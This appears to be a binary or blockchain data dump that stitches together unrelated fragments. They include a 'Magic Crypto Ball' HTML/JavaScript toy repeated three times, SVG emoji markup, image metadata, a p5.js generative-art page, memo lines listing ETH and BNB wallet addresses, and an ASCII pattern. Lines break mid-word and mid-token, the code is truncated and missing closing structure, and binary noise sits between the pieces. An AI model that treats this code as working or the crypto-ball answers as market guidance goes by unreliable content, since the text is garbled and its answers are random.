				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="5M
0%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#32CD32" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
fset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#127B12"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","Crypto is unpredictable","Crypto is the future!","Trust the ledger","Highly likely","Outlook promising","Yes","The market points to yes","Price is uncertain, try again","Check the hash rate later","It's too volatile to tell now","Cannot predict the market now","Study the charts and ask again"M
,"Don't invest in it","My reply is no","The miners say no","Outlook not so good","Very doubtful","The miners are optimistic","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","The market points to no","Outlook is grim"];
		var answerFinishedAt=new Date().getTime();
		function magicBall(){
			if (!isAnswerFinished()) return;
			var randomAnswer=answers[Math.floor(Math.random()*answers.length)];
			document.getElementBM
yId("answer").innerHTML="";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*50;
		function isAnswerFinished(){
			return new Date().getTime()>answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:cM
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#000080;text-shadow: 0px 0px 5px #000080;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/20M
00/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#000080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#222280"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#000080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#666680" fill="uM
rl(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
"0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#000080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","Crypto is unpredictable","Crypto is the future!","Trust the ledger","Highly likely","Outlook promising","Yes","The market points to yes","Price is uncertain, try again","Check the hash rate later","It's too volatile to tell now","Cannot predict the market now","Study the charts and ask again"M
,"Don't invest in it","My reply is no","The miners say no","Outlook not so good","Very doubtful","The miners are optimistic","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","The market points to no","Outlook is grim"];
		var answerFinishedAt=new Date().getTime();
		function magicBall(){
			if (!isAnswerFinished()) return;
			var randomAnswer=answers[Math.floor(Math.random()*answers.length)];
			document.getElementBM
yId("answer").innerHTML="";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*50;
		function isAnswerFinished(){
			return new Date().getTime()>answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:cM
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#000080;text-shadow: 0px 0px 5px #000080;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/20M
00/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#000080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#222280"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#000080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#666680" fill="uM
rl(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
"0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#000080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","Crypto is unpredictable","Crypto is the future!","Trust the ledger","Highly likely","Outlook promising","Yes","The market points to yes","Price is uncertain, try again","Check the hash rate later","It's too volatile to tell now","Cannot predict the market now","Study the charts and ask again"M
,"Don't invest in it","My reply is no","The miners say no","Outlook not so good","Very doubtful","The miners are optimistic","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","The market points to no","Outlook is grim"];
		var answerFinishedAt=new Date().getTime();
		function magicBall(){
			if (!isAnswerFinished()) return;
			var randomAnswer=answers[Math.floor(Math.random()*answers.length)];
			document.getElementBM
yId("answer").innerHTML="";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*50;
		function isAnswerFinished(){
			return new Date().getTime()>answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:cM
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#000080;text-shadow: 0px 0px 5px #000080;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/20M
00/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#000080" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#222280"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#000080"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#666680" fill="uM
rl(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
"0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#000080"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#fcea2b"/>
    <path fill="#fff" d="M50.595,41.64a11.5554,11.5554,0,0,1-.87,4.49c-12.49,3.03-25.43.34-27.49-.13a11.4347,11.4347,0,0,1-.83-4.36h.11s14.8,3.59,28.89.07Z"/>
    <path fill="#fff" d="M49.7251,46.13c-1.79,4.27-6.35,7.23-13.69,7.23-7.41,0-12.03-3.03-13.8-7.36C24.2951,46.47,37.235,49.16,49.7251,46.13Z"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M50.595,41.64a11.5554,11.5554,0,0,1-.87,4.49c-12.49,3.03-25.43.34-27.49-.13a11.4347,11.4347,0,0,1-.83-4.36h.11s14.8,3.59,28.89.07Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M49.7251,46.13c-1.79,4.27-6.35,7.23-13.69,7.23-M
7.41,0-12.03-3.03-13.8-7.36C24.2951,46.47,37.235,49.16,49.7251,46.13Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M31.6941,32.4036a4.7262,4.7262,0,0,0-8.6382,0"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M48.9441,32.4036a4.7262,4.7262,0,0,0-8.6382,0"/>
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#EA5A47" d="M49.5657,15.6092c-4.3218,0-8.187,2.3611-10.1887,6.1814L36,29.678l7,6.0169l-6,8.4238L42,51 l-3.5852,9.1622l20.462-26.2371c1.4419-1.9653,2.2134-4.3222,2.2134-6.7934C61.0902,20.7782,55.9202,15.6092,49.5657,15.6092z"/>
    <path fill="#EA5A47" d="M37.0994,50.9843l-5.0534-6.9615l5.9387-8.0457l-7.0457-5.9463c0,0,1.6215-7.5485,1.455-7.8939 c-1.9444-4.0263-5.9185-6.5278-10.3711-6.5278c-6.3535,0-11.5225,5.169M
-11.5225,11.5225c0,2.1167,0.5776,4.185,1.6714,5.9814 l0.6602,0.9737l20.4624,26.2299l0.3502-0.449L37.0994,50.9843z"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M49.5657,15.6092c-4.3218,0-8.187,2.3611-10.1887,6.1814L36,29.678l7,6.0169l-6,8.4238L42,51l-3.5852,9.1622l20.462-26.2371 c1.4419-1.9653,2.2134-4.3222,2.2134-6.7934C61.0902,20.7782,55.9202,15.609M
2,49.5657,15.6092z"/>
    <path fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2" d="M37.0994,50.9843l-5.0534-6.9615l5.9387-8.0457 l-7.0457-5.9463c0,0,1.6215-7.5485,1.455-7.8939c-1.9444-4.0263-5.9185-6.5278-10.3711-6.5278 c-6.3535,0-11.5225,5.169-11.5225,11.5225c0,2.1167,0.5776,4.185,1.6714,5.9814l0.6602,0.9737l20.4624,26.2299l0.3502-0.449 L37.0994,50.9843z"/>
((((((((((((((((((((((((((((((((((((((((((((((((((
6j4ion:6.QmRwQ35JG8tNRXHxPefiiQPgsq9iK8Xi59YK4Z4GeE2Eii5
Aj?=:ETH.ETH:0xaaae4b6d5c086cb72b5429194c811601670d82d9:1778037068
-%-,%*)#*:->2(25,=8,:/'.*$,3+:;0H7-A-'16*7=.A
9/DD2K/(4>2L@3PA0G?/DF3O/'1I5SC5TM7Z3)60)7
U<gP9^R:b4*4K6VE6WG7[
c/Foundry USA Pool #dropgold/
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" viewBox="0 0 512 512" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" xmlns:serif="http://www.serif.com/" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:2;">
    <rect id="Artboard1" x="0" y="0" width="512" height="512" style="fill:nM
    <clipPath id="_clip1">
        <rect id="Artboard11" serif:id="Artboard1" x="0" y="0" width="512" height="512"/>
    <g clip-path="url(#_clip1)">
        <g transform="matrix(1.07648,0,0,1.07648,-32.6876,-24.7446)">
            <circle cx="268.177" cy="260.799" r="237.812"/>
        <g transform="matrix(0.850331,0,0,0.849918,38.3155,29.5376)">
            <g transform="matrix(0.465394,0,2.66454e-17,0.456748,61.31,91.1071)">
                <path d="M125.893,67.254C125.893,38M
.239 102.786,14.683 74.324,14.683C45.862,14.683 22.755,38.239 22.755,67.254L22.755,446.564C22.755,475.579 45.862,499.135 74.324,499.135C102.786,499.135 125.893,475.579 125.893,446.564L125.893,67.254Z" style="fill:rgb(245,103,51);"/>
            <g transform="matrix(0.465394,1.03177e-05,-8.06779e-06,0.363909,381.51,138.367)">
                <path d="M125.893,80.666C125.893,44.249 102.786,14.683 74.324,14.683C45.862,14.683 22.755,44.249 22.755,80.666L22.755,433.152C22.755,469.569 45.862,499.135 74.3M
24,499.135C102.786,499.135 125.893,469.569 125.893,433.152L125.893,80.666Z" style="fill:rgb(245,103,51);"/>
            <g transform="matrix(1.83083,0,0,1.83083,-204.135,-559.322)">
                <path d="M150.825,466.966C150.825,522.471 195.82,567.466 251.325,567.466C306.83,567.466 351.826,522.471 351.826,466.966L325.696,466.966C325.696,508.039 292.399,541.336 251.325,541.336C210.252,541.336 176.955,508.039 176.955,466.966L150.825,466.966Z" style="fill:rgb(245,103,51);"/>
      <g transform="matrix(0.465394,0,0,0.33027,148.41,187.151)">
                <path d="M125.893,87.386C125.893,47.26 102.786,14.683 74.324,14.683C45.862,14.683 22.755,47.26 22.755,87.386L22.755,426.432C22.755,466.558 45.862,499.135 74.324,499.135C102.786,499.135 125.893,466.558 125.893,426.432L125.893,87.386Z" style="fill:rgb(245,103,51);"/>
            <g transform="matrix(0.465394,0,0,0.33027,221.41,187.151)">
                <path d="M125.893,87.386C125.893,47.26 102.786,14.683 74.324,14.683M
C45.862,14.683 22.755,47.26 22.755,87.386L22.755,426.432C22.755,466.558 45.862,499.135 74.324,499.135C102.786,499.135 125.893,466.558 125.893,426.432L125.893,87.386Z" style="fill:rgb(245,103,51);"/>
            <g transform="matrix(0.465394,0,0,0.33027,294.41,187.151)">
                <path d="M125.893,87.386C125.893,47.26 102.786,14.683 74.324,14.683C45.862,14.683 22.755,47.26 22.755,87.386L22.755,426.432C22.755,466.558 45.862,499.135 74.324,499.135C102.786,499.135 125.893,466.558 125.893,426.432L`L125.893,87.386Z" style="fill:rgb(245,103,51);"/>
((((((((((((((((((((((((((((((((((((((((((((((((((
FjDOUT:FE648DE8727C2F0FB91DFD98453E35339BABAAD1029A4EDF0DC2B8333A8A65F0
FjDOUT:602B277E8A9365531E3B4288953A6BEBB43D4539FA8C1FB80B4E962B09B21EBA
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
DjB=:ETH.ETH:0xEE51e71Ef86d37Ec7AdaD92D91d6E907f6A7716D:36304118:te:0
Bj@=:ETH.ETH:0xEDCaD224B3fF6f2bC77B3cA0948B85A788492D02:70683954::0
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.4 (Windows)" xmpMM:InstanceID="xmp.iid:E5689E21ABD011ED8258D1F96A3640CF" xmpMM:DocumentID="xmp.did:E5689E22ABD011ED8258D1F96A3640CF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E5689E1FABD011ED8258D1F96A3640CF" stRef:documentID="xmp.did:E5689E20ABD011ED8258D1F96A3640CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Vertigo by josemiguel</title>
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script id="snippet-random-code" type="text/javascript">
        let seed=window.location.href.split('/').find(t=>t.includes('i0'));
        if (seed == null) {
            seed = new URLSearchParams(window.location.search).get("seed");
            let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233)M
, i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return M
$ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
        html, body {
            overflow: hidden;
            margin: 0;
            padding:M
            display: flex;
            justify-content: center;
            align-items: center;
            min-width: min(100vw, 100vh);
            min-height: min(100vw, 100vh);
            max-width: min(100vw, 100vh);
            max-height: min(100vw, 100vh);
<script type="text/javascript">
    const rand=mathRand();let fondo,relleno,gradualidad,velocidad,escalamiento,grosor,num2,vinotinto,blanco,negro,verdeoscuro;function setup(){randoM
mSeed(9999*mathRand()),createCanvas(1e3,1e3),angleMode(DEGREES),gradualidad=int(random(6,355)),180!=gradualidad&&179!=gradualidad&&181!=gradualidad&&89!=gradualidad&&90!=gradualidad&&91!=gradualidad&&299!=gradualidad&&300!=gradualidad&&301!=gradualidad&&269!=gradualidad&&270!=gradualidad&&271!=gradualidad&&69!=gradualidad&&70!=gradualidad&&71!=gradualidad&&239!=gradualidad&&240!=gradualidad&&241!=gradualidad||(gradualidad+=4),console.log(gradualidad),lineacolorizada=color("rgba(255,254,254,0.3)");let o=random([1,2,M
3,4,5,6,7,8,9,10,11,12,13]);console.log(o),1==o&&(relleno1=color("#4703014C"),relleno2=color("#6908034C")),2==o&&(relleno1=color("#8E0E0F4C"),relleno2=color("#6F34304C")),3==o&&(relleno1=color("#9D5E594C"),relleno2=color("#B160734C")),4==o&&(relleno1=color("#B683804C"),relleno2=color("#DE9C794C")),5==o&&(relleno1=color("#2B524F4C"),relleno2=color("#1434314C")),6==o&&(relleno1=color("#3630624C"),relleno2=color("#49317E4C")),7==o&&(relleno1=color("#9F82AA4C"),relleno2=color("#92799C4C")),8==o&&(relleno1=color("#C76E7M
74C"),relleno2=color("#B8656E4C")),9==o&&(relleno1=color("#AF292A4C"),relleno2=color("#710D004C")),10==o&&(relleno1=color("#01343E4C"),relleno2=color("#00687A4C")),11==o&&(relleno1=color("#5A52814C"),relleno2=color("#6E5E914C")),12==o&&(relleno1=color("#49014A4C"),relleno2=color("#702D364C")),13==o&&(relleno1=color("#A549564C"),relleno2=color("#924C0F4C")),velocidad=.005,console.log(velocidad),puntoY=random(400,500),console.log(puntoY),escalamiento=3,grosor=2.5,console.log(grosor)}function Linea_libre_valorizada(){M
fondo=random([0,1]),relleno=0==fondo?relleno1:relleno2;let o=puntoY;push();for(var l=0;l<=1500;l+=5)translate(width/2,height/2),rotate(gradualidad),translate(-width/2,-height/2),stroke(lineacolorizada),strokeWeight(grosor),line(l,o,0,0),push(),strokeWeight(grosor),fill(relleno),rect(l,o,100*escalamiento),pop();pop()}function draw(){background(relleno2),Linea_libre_valorizada(),gradualidad-=velocidad}
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwws5
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
@j>=:ETH.ETH:0x2C4Cf03277151dE1580c3E64740F053A7735D0e3:1142:te:0
Bj@=:BNB.BNB:bnb1fy4zhwk64yfjenqw2632tth5xhkp0ge48rvxmj:693625:te:0
CjA=:ETH.ETH:0x0651c408c05E9dc32E27B83f934Be084cf0408CB:2157075:te:0
DjB=:ETH.ETH:0x97609FB0F816d880016bE079D20533f7A8B57150:13151559:te:0
text/plain;charset=utf-8
-+.|+..-+.|-..-+.|-..-+.|-..-+.||.+-..-|.+-..-|.+-..-|.+-..+|.+-
+..-+..|-...|-...|+...-+..|-+..--..+-|..+-...+|...-|...-|..+-..+
..--+....|-+....|-++...||+....|--|....+||...++-|....+-|....+--..
|--++..........||--+++.......||--||.......+++--||..........++--|
++++-+++-+++-++--++---+------------------+---++--++-+++-+++-++++
....++--||.....++--||.|......++--++......|.||--++.....||--++....
....+-|...++-|...+-||..++-|...+--+...|-++..||-+...|-++...|-+....
-|..+-...-|..+-...-|..+-...-|..++..|-...-+..|-...-+..|-...-+..|-
+-..-|..|..+..+-..-|.-|.+|..-..++..-..|+.|-.|-..-+..+..|..|-..-+
..|.+|.-..|.+|.+..-.+|.+..-.+-.++.-+.-..+.|+.-..+.|+.|..-.|+.|..
|.-.+.+|.|.+.+..|.|.-..|.|.-.-.++.-.-.|.|..-.|.|..+.+.|.|+.+.-.|
-.+.+.+.+.+.-.-.-.-.-.|.|.|.|.|..|.|.|.|.|.-.-.-.-.-.+.+.+.+.+.-
.|..-.-..+.-.|+.+.|.|-.-..+.-.|..|.-.+..-.-|.|.+.+|.-.+..-.-..|.
.-..+.|+.|+.|+.|+.|+.|+.-..-..-..-..-..-.+|.+|.+|.+|.+|.+|.+..-.
-...+..-+..-+.|-..|+..-+.|-+.|-..-|.+-|.+-..+|..-|.+-..+-..+...-
+..|-+..-+...|-...|-+..|-+...-+..+-...+-|..+-|...-|...+-..+-|..+
..||-+....|-++....|-+++...||-+....+-||...+++-|....++-|....+-||..
||--+-+...........||-|--+++..........+++--|-||...........+-+--||
-++-+-----|-|||||||.|......................|.|||||||-|-----+-++-
..++-||||....++--|.....+.+--||....||--+.+.....|--++....||||-++..
...+-||..+--|..++-|..++-....+|....|+....-++..|-++..|--+..||-+...
-..+-...-|..-|..+|..+-..+-...-|..|-...-+..-+..|+..|-..|-...-+..-
+-..+|.+|..|.+-.+-..+..+|..|..-..-..|..|+..+..-+.-+.|..|+.|+..-+
.+|.-.+-.+|.-.+|.-.+-.+|.-.+|.-..-.|+.-.|+.-+.-.|+.-.|+.-+.-.|+.
|.|.-.+.+..|.-.-.+...+|.-.-.-.+||+.-.-.-.|+...+.-.-.|..+.+.-.|.|
-.+.-.-.|.|...|+.+.+.-.-.|.|.|.||.|.|.|.-.-.+.+.+|...|.|.-.-.+.-
.|..-.|..-.|+.-.|+.-....-.|+.-.||.-.+|.-....-.+|.-.+|.-..|.-..|.
.-..-..-..-..-+.|..-..|+.|+.|+.||.+|.+|.+|..-..|.+-..-..-..-..-.
-+..-..|-+.|-...-..|+..|-..|+..||..+|..-|..+|..-...-|.+-|..-..+-
+..|-+...--...|-+..||-...|-+..||||..+-|...-||..+-|...--...+-|..+
..||-++....||--+.....|--+....||||||....+--|.....+--||....++-||..
|------++++.............||||||||||||||||.............++++------|
+------||||.............++++++++++++++++.............||||------+
..++-||....++--|.....+--|....++++++....|--+.....|--++....||-++..
|..+-|...--...+-|..++-...+-|..++++..|-+...-++..|-+...--...|-+..|
-|..-..+-|.+-...-..+|..+-..+|..++..|+..-+..|+..-...-+.|-+..-..|-
.-..-..-..-..-|.+..-..+|.+|.+|.++.|+.|+.|+..-..+.|-..-..-..-..-.
.+..-.+..-.+|.-.+|.-....-.+|.-.++.-.|+.-....-.|+.-.|+.-..+.-..+.
-.|.-.-.+.+...+|.|.|.-.-.+.+.+.++.+.+.+.-.-.|.|.|+...+.+.-.-.|.-
+.+.-.|.|..+.-.-.|...|+.-.-.-.|++|.-.-.-.+|...|.-.-.+..|.|.-.+.+
.|+.-.|-.|+.-.|+.-.|-.|+.-.|+.-..-.+|.-.+|.-|.-.+|.-.+|.-|.-.+|.
|-..|+.|+..+.|-.|-..|..|+..+..-..-..+..+|..|..-|.-|.+..+|.+|..-|
-..|-...-+..-+..|+..|-..|-...-+..+-...-|..-|..+|..+-..+-...-|..-
...|-++..|--+..||-+..||-....|+....+|....-||..+-||..+--|..++-|...
..||-++++....||--+.....|.|--++....++--|.|.....+--||....++++-||..
-||-|-----+-+++++++.+......................+.+++++++-+-----|-||-
++--|-|...........++-+--|||..........|||--+-++...........|-|--++
..++-|....+-||....+-|||...++-|....|-++...|||-+....||-+....|-++..
|..+-|..-|...+-...+-|..+-|...-|..|-...|-+..|-+...-+...|-..|-+..|
-...|..-|..-|.+-..+|..-|.+-|.+-..-+.|-+.|-..|+..-+.|-..|-..|...-
.-..|.+|.+|.+|.+|.+|.+|.-..-..-..-..-..-.|+.|+.|+.|+.|+.|+.|..-.
.+..-.-..|.-.+|.|.+.+-.-..|.-.+..+.-.|..-.-+.+.|.|+.-.|..-.-..+.
-.|.|.|.|.|.-.-.-.-.-.+.+.+.+.+..+.+.+.+.+.-.-.-.-.-.|.|.|.|.|.-
+.-.|.|+.+.|.|..+.+.-..+.+.-.-.||.-.-.+.+..-.+.+..|.|.+.+|.|.-.+
..+.|+.-..+.|+.|..-.|+.|..-.|-.||.-|.-..|.+|.-..|.+|.+..-.+|.+..
|-..-+..+..|..|-..-+.-+.|+..-..||..-..+|.+-.+-..-|..|..+..+-..-|
-+..|-...-+..|-...-+..|-...-+..||..+-...-|..+-...-|..+-...-|..+-
....|-+...||-+...|-++..||-+...|--|...+-||..++-|...+-||...+-|....
....||--++.....||--++.+......||--||......+.++--||.....++--||....
